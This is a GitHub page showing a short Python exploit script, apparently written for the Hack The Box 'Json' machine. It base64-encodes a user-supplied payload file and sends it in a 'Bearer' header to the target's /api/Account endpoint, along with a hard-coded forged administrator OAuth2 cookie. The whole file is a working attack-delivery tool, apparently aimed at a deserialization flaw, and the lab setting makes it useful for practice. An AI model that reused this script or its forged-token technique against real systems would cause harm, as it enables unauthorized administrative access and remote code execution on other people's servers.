-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathhtb-json.py
More file actions
24 lines (20 loc) · 914 Bytes
/
htb-json.py
File metadata and controls
24 lines (20 loc) · 914 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
from base64 import b64decode, b64encode
import requests
import argparse
parser = argparse.ArgumentParser(description='pass the attack script.')
parser.add_argument("-s", '--script', required=True,
help='script to process for the attack')
args = parser.parse_args()
admin_token="eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0="
#Base64 encode the provided payload file
def create_payload(package):
payload = open(package, 'rb').read()
return b64encode(payload).decode('UTF-8')
#Send the payload file
print("Sending payload: ", args.script)
requests.get('http://10.10.10.158/api/Account',
headers={
'Cookie': 'OAuth2='+admin_token,
'Bearer': create_payload(args.script)
})